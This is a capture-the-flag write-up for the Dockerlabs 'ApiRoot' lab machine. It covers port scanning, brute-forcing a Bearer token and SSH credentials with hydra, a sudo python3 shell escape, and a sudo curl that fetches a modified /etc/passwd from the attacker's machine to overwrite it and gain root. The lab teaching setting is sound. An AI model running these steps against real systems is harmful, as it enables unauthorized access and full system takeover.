Skip to content

ApiRoot — Writeup

Platform Dockerlabs
OS Linux
Difficulty Medium
InitialVector SSH Bruteforce (Bearer token leak)
Privesc sudo curl (passwd overwrite)

Phase 1 — Reconnaissance

Port Scan

nmap -sS -n -Pn -p- 172.17.0.2 -oG ports
nmap -sV -sC -n -Pn --min-rate 5000 -p22,5000 172.17.0.2 -oN portScan
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u4
5000/tcp open  http    Werkzeug httpd 2.2.2 (Python 3.11.2)
Screenshot
Screenshot
Port Service Notes
22 SSH OpenSSH 9.2p1
5000 HTTP Werkzeug/Python — API

Phase 2 — Service Enumeration

Web (5000)

Screenshot

The homepage describes a user management API with endpoints under /api/directorio_oculto and an authentication example using a Bearer token. Started fuzzing from /api:

gobuster dir -u http://172.17.0.2:5000/api \
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/common-api-endpoints-mazen160.txt
Screenshot

Found /api/users returning 401 Unauthorized:

curl http://172.17.0.2:5000/api/users
# {"error": "No autorizado"}
Screenshot

The page itself hints at the authentication format: Authorization: Bearer <token>. Brute-forced the token value in Burp Intruder using xato-net-10-million-passwords-10000.txt:

Screenshot
Screenshot

Bearer password1 returned 200 OK:

[
  {"id": 1, "nombre": "bob"},
  {"id": 2, "nombre": "dylan"}
]

Two system users: bob and dylan.

SSH (22)

With the usernames extracted from the API, brute-forced SSH credentials:

hydra -L users -P /usr/share/wordlists/rockyou.txt 172.17.0.2 -s 22 ssh -t4
Screenshot
[22][ssh] host: 172.17.0.2   login: bob   password: password1

Phase 3 — Attack Path

Initial Access

ssh [email protected]
# password: password1

Post-Shell — bob → balulero

sudo -l
# (balulero) NOPASSWD: /usr/bin/python3

Bob can run python3 as balulero without a password:

sudo -u balulero /usr/bin/python3 -c 'import os; os.execl("/bin/sh", "sh")'
Screenshot

PrivEsc — balulero → root

sudo -l
# (ALL) NOPASSWD: /usr/bin/curl

curl as any user including root. Used it to overwrite /etc/passwd with a modified version where root has no password hash (removed the x from the password field):

Screenshot

Served the modified file from the attacking machine:

# Attacker
python3 -m http.server 9090

# Target
sudo curl http://172.17.0.1:9090/modifiedpasswd -o /etc/passwd
Screenshot
su root
Screenshot
root@256aaf26d59a:/home/bob# id
uid=0(root) gid=0(root) groups=0(root)

It was actually very easy, not medium — the whole chain was three well-known primitives back to back: a guessable Bearer token, a passwordless sudo to a second low-priv user, and a passwordless sudo curl that made overwriting /etc/passwd trivial.

Nothing here required chaining anything unusual, just recognizing each GTFOBins-style escalation as it showed up.

Resources